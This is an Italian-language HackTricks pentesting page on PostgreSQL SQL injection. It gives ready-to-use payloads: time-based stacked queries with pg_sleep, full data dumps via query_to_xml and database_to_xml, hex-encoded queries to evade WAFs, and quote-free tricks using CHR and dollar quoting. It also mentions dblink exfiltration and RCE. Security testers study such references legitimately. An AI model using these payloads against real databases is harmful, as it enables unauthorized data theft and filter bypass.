.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
PostgreSQL injection
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Se sei interessato alla carriera dell'hacking e vuoi hackerare l'inattaccabile - stiamo assumendo! (richiesta competenza polacca scritta e parlata).
{% embed url="https://www.stmcyber.com/careers" %}
Questa pagina mira a spiegare diversi trucchi che potrebbero aiutarti a sfruttare un'iniezione SQL trovata in un database postgresql e a completare i trucchi che puoi trovare su https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interazione di Rete - Escalation dei Privilegi, Scanner di Porte, Divulgazione della risposta alla sfida NTLM & Esfiltrazione
Il modulo PostgreSQL dblink
offre capacità per connettersi ad altri istanze di PostgreSQL ed eseguire connessioni TCP. Queste funzionalità, combinate con la funzionalità COPY FROM
, consentono azioni come l'escalation dei privilegi, la scansione delle porte e la cattura della risposta alla sfida NTLM. Per metodi dettagliati su come eseguire questi attacchi controlla come eseguire questi attacchi.
Esempio di esfiltrazione usando dblink e oggetti grandi
Puoi leggere questo esempio per vedere un esempio di CTF di come caricare dati all'interno di oggetti grandi e quindi esfiltrare il contenuto degli oggetti grandi all'interno del nome utente della funzione dblink_connect
.
Attacchi PostgreSQL: Lettura/scrittura, RCE, privesc
Controlla come compromettere l'host ed escalare i privilegi da PostgreSQL in:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Bypass WAF
Funzioni di stringhe PostgreSQL
Manipolare le stringhe potrebbe aiutarti a bypassare i WAF o altre restrizioni.
In questa pagina puoi trovare alcune utili funzioni di stringhe.
Query Stacked
Ricorda che postgresql supporta le query stacked, ma diverse applicazioni restituiranno un errore se vengono restituite 2 risposte quando ne aspettano solo 1. Tuttavia, puoi comunque abusare delle query stacked tramite l'iniezione di tempo:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Trucchi XML
query_to_xml
Questa funzione restituirà tutti i dati in formato XML in un solo file. È ideale se si desidera esportare molti dati in una sola riga:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Questa funzione scaricherà l'intero database in formato XML in una sola riga (fai attenzione se il database è molto grande in quanto potresti causare un attacco DoS o addirittura al tuo stesso client):
SELECT database_to_xml(true,true,'');
Stringhe in esadecimale
Se è possibile eseguire query passandole all'interno di una stringa (ad esempio utilizzando la funzione query_to_xml
). È possibile utilizzare convert_from
per passare la stringa come esadecimale e bypassare i filtri in questo modo:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Virgolette vietate
Se non è possibile utilizzare le virgolette per il tuo payload, puoi aggirare questo problema con CHR
per le clausole di base (la concatenazione di caratteri funziona solo per query di base come SELECT, INSERT, DELETE, ecc. Non funziona per tutte le istruzioni SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Oppure con $
. Queste query restituiscono gli stessi risultati:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Se sei interessato a una carriera nel campo dell'hacking e vuoi hackerare l'inattaccabile - stiamo assumendo! (richiesta competenza fluente in polacco, sia scritta che parlata).
{% embed url="https://www.stmcyber.com/careers" %}
Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.